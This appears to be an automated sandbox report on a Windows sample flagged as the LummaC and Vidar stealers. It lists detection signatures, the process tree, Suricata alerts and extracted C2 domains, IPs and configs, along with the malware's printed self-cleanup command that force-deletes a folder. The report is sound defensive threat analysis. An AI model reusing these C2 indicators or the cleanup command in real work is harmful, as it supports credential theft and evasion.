Edit tour

Windows Analysis Report
f1r6P3j3g7.exe

Overview

General Information

Sample name:	f1r6P3j3g7.exe renamed because original name is a hash value
Original sample name:	8351aa212d7278c381ebe13f2a435ad9.exe
Analysis ID:	1528299
MD5:	8351aa212d7278c381ebe13f2a435ad9
SHA1:	d529652f0ba92febad36c66a1b5be4398eddaef2
SHA256:	a86c7b65a6348d392d10d3982b6d0b896fdf646b218903a012d3c0dd73159f5b
Tags:	32exetrojan
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

f1r6P3j3g7.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\f1r6P3j3g7.exe" MD5: 8351AA212D7278C381EBE13F2A435AD9)

MSBuild.exe (PID: 6584 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6604 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6628 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

KEGIDHJKKJ.exe (PID: 908 cmdline: "C:\ProgramData\KEGIDHJKKJ.exe" MD5: 8E704ACD1B0C26FDCFD0374D57FCB28E)

MSBuild.exe (PID: 2664 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 1860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 840 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 908 -s 268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 6384 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGIJDGCAEBFI" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4484 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 6848 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6532 -s 288 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["isoplethui.sbs", "frizzettei.sbs", "laddyirekyi.sbs", "invinjurhey.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs", "exemplarou.sbs", "wickedneatr.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "e694b6d50199ea44207a97e25dda5506"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000B.00000002.2205515395.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: f1r6P3j3g7.exe PID: 6532	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: f1r6P3j3g7.exe PID: 6532	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f1r6P3j3g7.exe PID: 6532	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 6628	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6628	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
11.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
10.2.KEGIDHJKKJ.exe.d00000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.f1r6P3j3g7.exe.91dad8.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.f1r6P3j3g7.exe.91dad8.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.MSBuild.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.f1r6P3j3g7.exe.91dad8.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.f1r6P3j3g7.exe.91dad8.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.f1r6P3j3g7.exe.8f0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.f1r6P3j3g7.exe.8f0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 95.164.90.97, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6628, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49742

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:48.254166+0200	2054653	1	A Network Trojan was detected	192.168.2.4	53640	188.114.96.3	443	TCP
2024-10-07T18:43:49.350635+0200	2054653	1	A Network Trojan was detected	192.168.2.4	53641	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:48.254166+0200	2049836	1	A Network Trojan was detected	192.168.2.4	53640	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:49.350635+0200	2049812	1	A Network Trojan was detected	192.168.2.4	53641	188.114.96.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:49.245915+0200	2054495	1	A Network Trojan was detected	192.168.2.4	53642	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:26.089457+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	49742	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:26.771931+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	49742	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:25.454378+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49742	95.164.90.97	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:43:45.876510+0200	2803304	3	Unknown Traffic	192.168.2.4	51636	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: f1r6P3j3g7.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199780418869	URL Reputation: Label: malware
Source: https://t.me/ae5ed	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\ProgramData\KEGIDHJKKJ.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "e694b6d50199ea44207a97e25dda5506"}
Source: 10.2.KEGIDHJKKJ.exe.d00000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["isoplethui.sbs", "frizzettei.sbs", "laddyirekyi.sbs", "invinjurhey.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs", "exemplarou.sbs", "wickedneatr.sbs"], "Build id": "H8NgCl--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\KEGIDHJKKJ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: f1r6P3j3g7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6CBB6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD0A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6CD0A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD044C0 PK11_PubEncrypt,	3_2_6CD044C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD04440 PK11_PrivDecrypt,	3_2_6CD04440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCD4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	3_2_6CCD4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD525B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	3_2_6CD525B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCEE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	3_2_6CCEE6E0

Source: f1r6P3j3g7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:53640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:53641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53878 version: TLS 1.2

Source: f1r6P3j3g7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000003.00000002.2206196527.00000000359F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000003.00000002.2195422275.0000000029B1F000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00909ABF FindFirstFileExW,	0_2_00909ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	3_2_0040CD37
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D19ABF FindFirstFileExW,	10_2_00D19ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
